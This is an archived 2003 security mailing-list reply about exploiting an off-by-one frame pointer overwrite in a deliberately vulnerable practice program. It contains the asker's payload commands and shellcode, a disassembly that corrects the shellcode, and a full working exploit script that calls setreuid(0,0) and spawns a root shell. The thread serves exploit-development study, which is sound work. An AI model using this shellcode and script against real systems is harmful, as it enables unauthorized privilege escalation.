Re: Frame Pointer Overwriting

From: Joel Eriksson (je-vulndev_at_bitnux.com)
Date: 05/24/03

  • Next message: Thomas Cannon: "Re: [Vuln-dev Challenge] Challenge #2"
    Date: Sat, 24 May 2003 12:40:05 +0200
    To: mike cramp <mikecc@unixclan.net>
    
    
    

    On Fri, May 23, 2003 at 10:24:59AM -0700, mike cramp wrote:
    > Hey guys,
    >
    > I'm having some trouble with frame pointer overwriting, and I was
    > wondering if anyone could shed any light on this.
    >
    > First of all, here is the vulnerable program:
    >
    > mikecc@darkstar frame $ cat vuln_6.c
    > /* Is It Vulnerable!? you sure? check again! */
    > /*
    > * bob.dtors.net
    > *
    > * ---------------------------------------------------
    > * Dtors Security Research (DSR)
    > * Code by: bob
    > * Mail: bob@dtors.net
    > * ---------------------------------------------------
    > *
    > * Build it and exploit it
    > * show us the exploitation log and get extra rights !!
    > *
    > *
    > * Is It Vulnerable!? you sure? check again!
    > * -- this code was taken from bobs person homepage
    > * http://it.dtors.net
    > */
    >
    >
    > #include <stdio.h>
    > #include <string.h>
    > #define SIZE 256
    >
    > void bob(char *ptr) {
    > char buffer[SIZE];
    > strncpy(buffer, ptr, SIZE+1);
    > printf("buffer is at %p\n",buffer);
    > {
    > int a,b;
    > for (a=b=0;a<=SIZE;a++,b+=3) {
    > if (b!=0 && !(b%26)) printf("\n");
    > printf("%02x ", (unsigned char)buffer[a]);
    > }
    > printf("\n");
    > }
    > }
    >
    > int main(int argc, char **argv, char **envp) {
    > if (argc < 2)
    > {
    > fprintf(stdout, "bob@dtors.net\n");
    > exit(1);
    > }
    > bob(argv[1]);
    > return 0;
    > }
    > mikecc@darkstar frame $
    >
    > Now, I can exploit this if I store the shellcode in the environment:
    >
    > mikecc@darkstar frame $ ./6 `perl -e 'print "\xd0\xfd\xff\xbf"x64 .
    > "\x00"'`
    > buffer is at 0xbffff4a8
    > d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd
    > ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf
    > d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd
    > ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf
    > d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd
    > ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf
    > d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd
    > ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf
    > d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd
    > ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf d0 fd ff bf 00
    > sh-2.05b$
    >
    > But, I do not understand how to find the overflow byte, or why this one
    > works: \x00

    Well, what exactly is happening when you overwrite the least significant
    byte of the saved frame pointer on a little-endian arch? If you actually
    thought about it, it would be obvious. main()'s stack frame will be shifted
    "backwards" (if X > Y) with X-Y bytes where X is the original LSB of main()'s
    frame pointer and Y is the overflow-byte.

    Y = 0 will obviously shift the frame with the largest value possible,
    minimum 0 (if X = 0x00) and max 255 (if X = 0xff). Using Y = 0 will thus
    maximize the chances of hitting the buffer, as long as X-Y > the distance
    between main()'s stackframe and the buffer in bob().

    > Now since I am researching a remote frame pointer overwrite, I need to
    > learn how to store the exploit string in the command line:
    >
    >
    > mikecc@darkstar frame $ ./6 `perl -e 'print
    > "\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\xe3\x52\x53\x89\xe1\xcd\x80\x90\x90" . "\x63\xf9\xff\xbf"x58 . "\x09"'`
    > buffer is at 0xbffff6a8
    > 6a 0b 58 99 52 68 6e 2f 73 68 68 2f 2f 62 69 e3 52 53 89 e1 cd 80 90 90 63 f9
    > ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf
    > 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9
    > ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf
    > 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9
    > ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf
    > 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9
    > ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf
    > 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9
    > ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 63 f9 ff bf 00
    > Illegal instruction (core dumped)
    > mikecc@darkstar frame $
    >
    > When I open up the core dump, I check ebp:
    >
    > (gdb) i reg ebp
    > ebp 0xbffff963 0xbffff963
    > (gdb)
    >
    > Now since I cannot copy and paste weird ASCII characters in Evolution, I
    > do:
    >
    > x/s $ebp
    >
    > and it shows my shellcode. Why is this not executing a shell?

    To begin with, that shellcode looks pretty weird.

    [je@vudo ~]$ cat>shellcode.c<<EOF
    char main[] = "\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\xe3\x52\x53\x89\xe1\xcd\x80";
    EOF
    [je@vudo ~]$ gcc -o shellcode shellcode.c
    [je@vudo ~]$ ./shellcode
    Segmentation fault (core dumped)
    [je@vudo ~]$ objdump -D shellcode 2>&1 | sed -n '/<main>/,/\t\.\.\./p'
    08049390 <main>:
     8049390: 6a 0b push $0xb
     8049392: 58 pop %eax
     8049393: 99 cltd
     8049394: 52 push %edx
     8049395: 68 6e 2f 73 68 push $0x68732f6e
     804939a: 68 2f 2f 62 69 push $0x69622f2f
     804939f: e3 52 jecxz 80493f3 <_DYNAMIC+0x47>
     80493a1: 53 push %ebx
     80493a2: 89 e1 mov %esp,%ecx
     80493a4: cd 80 int $0x80
            ...
    [je@vudo ~]$

    Oops, that doesn't look like valid shellcode, does it? What is that jecxz
    supposed to do there...? But, if we insert a \x89 right before the \xe3, it
    should work. Then the jecxz 80493f3 turns into a mov %esp,%ebx followed by
    a push %edx, which will serve your purposes better.

    Btw, since the address of buffer is printed to stdout, why don't you use it?
    Here's an ugly exploit for it where the program is first run to find out the
    address of the buffer. You'll have to enter the addr yourself, since the
    address is printed to the buffered stdout and it will coredump before the
    output is flushed if we pipe it to for instance 'sed'. Of course, this can
    be worked around, but why bother..

    cat > vuln6-xpl.sh << 'EOF'
    #!/bin/sh
    #
    # Linux/x86 exploit for vuln_6 @ dtors.net
    #
    # 2003-05-24 - Joel Eriksson (je at 0xbadc0ded.org)
    #

    [ $# -gt 1 ] && prog=$1 || prog=./6

    shellcode=`
            # setreuid(0, 0)
            printf "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
            # execve("/bin/sh", "/bin/sh", NULL)
            printf "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
            printf "\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
    `

    $prog `perl -e 'print "A"x256'`
    echo -n "buffer is at? "
    read addr
    exec $prog `perl -e '
            my $s = '"'$shellcode'"' . ("A" x (4 - length('"'$shellcode'"') % 4));
            print $s . (pack("L", '$addr') x ((256 - length($s)) / 4));
    '`
    EOF

    > Thanks,
    >
    > Mike

    -- 
    Joel Eriksson <je@mensa.se>
    -------------------------------------------------
    Cellphone: +46-70-288 64 16 Home: +46-26-10 23 37
    Security Research & Systems Development at Bitnux
    PGP Key Server pgp.mit.edu, PGP Key ID 0x529FDBD1
    A615 A1E1 3CA2 D7C2 CFEA 47B4 7EF7 E6B2 529F DBD1
    -------------------------------------------------
    
    



  • Next message: Thomas Cannon: "Re: [Vuln-dev Challenge] Challenge #2"

    Relevant Pages

    • RFC/Doc/BUGs: CONFIG_PACKET_MMAP
      ... configurable circular buffer mapped in user space. ... circular buffer of unswapable memory mapped in the capture process. ... the name indicates, this function allocates pages of memory, it allocates a power ... There is another vector of pointers, wich hold references to each frame ...
      (Linux-Kernel)
    • Re: Streaming video over serial?
      ... In my specific scenario, where I'm not actually streaming video but an interactive application, quality actually trumps frame rate at about the 1Hz rate. ... I agree that for actual *usability* from an Apple client, dropping to lores would be great, but it's not necessary in this case. ... the Apple side it goes straight to frame buffer. ... to switch buffers and screens. ...
      (comp.sys.apple2.programmer)
    • Re: C3088 CMOS Imaging Sensor Questions
      ... Which require LOTS of computation time and memory to process. ... To maintain an reasonable speed on frame update or just for processing. ... having an input buffer and an output (or temporary ... Some people use algorithms that ASSUME that if they take several pictures ...
      (comp.arch.embedded)
    • Re: Question about the way Smith defines frames of an input signal for the STFT
      ... xsub0=input signal's second sample ... xsub0=input signal's third sample ... The rest is just a DFT on each buffer. ... If n increases in each frame such that n-mR is equal to the same set of ...
      (comp.dsp)
    • Re: Scrolling text that doesnt flicker
      ... you can (assuming you can draw the background with the text as you ... There will be x frames per second, for each frame if you draw ... Obviously something animated has to be drawn multiple times. ... buffer, and b) may not even perform as well (since it would rely on using ...
      (microsoft.public.dotnet.languages.csharp)